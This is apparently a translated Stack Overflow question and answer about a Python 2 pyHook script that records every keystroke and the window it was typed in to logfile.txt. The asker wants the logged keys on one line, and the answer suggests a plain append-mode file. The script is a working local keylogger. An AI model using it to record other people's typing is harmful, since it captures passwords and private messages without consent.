将消息放在同一行

1 投票
1 回答
566 浏览
提问于 2025-04-15 19:25
import pythoncom, pyHook, logging, string

LOG_FILENAME = 'logfile.txt'

def OnKeyboardEvent(event):
    print 'MessageName:',event.MessageName
    print 'Time:',event.Time
    print 'WindowName:',event.WindowName
    print 'Ascii:', event.Ascii, chr(event.Ascii)
    print 'Key:', event.Key
    print '---'
    k = event.Key
    logging.basicConfig(filename=LOG_FILENAME,level=logging.DEBUG, 
                        format='%(message)s')
    logging.debug(k)

    return True

    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

在logfile.txt文件中,消息的字母分散在不同的行上,我该怎么做才能让它们显示在同一行呢?

1 个回答

0

看起来没有办法让 Logger.debug() 把信息追加到同一行上。既然你的日志文件格式这么简单,为什么不直接使用一个普通的文件对象呢?

logger = open(LOG_FILENAME, 'a')
logger.write(k)
logger.close()

撰写回答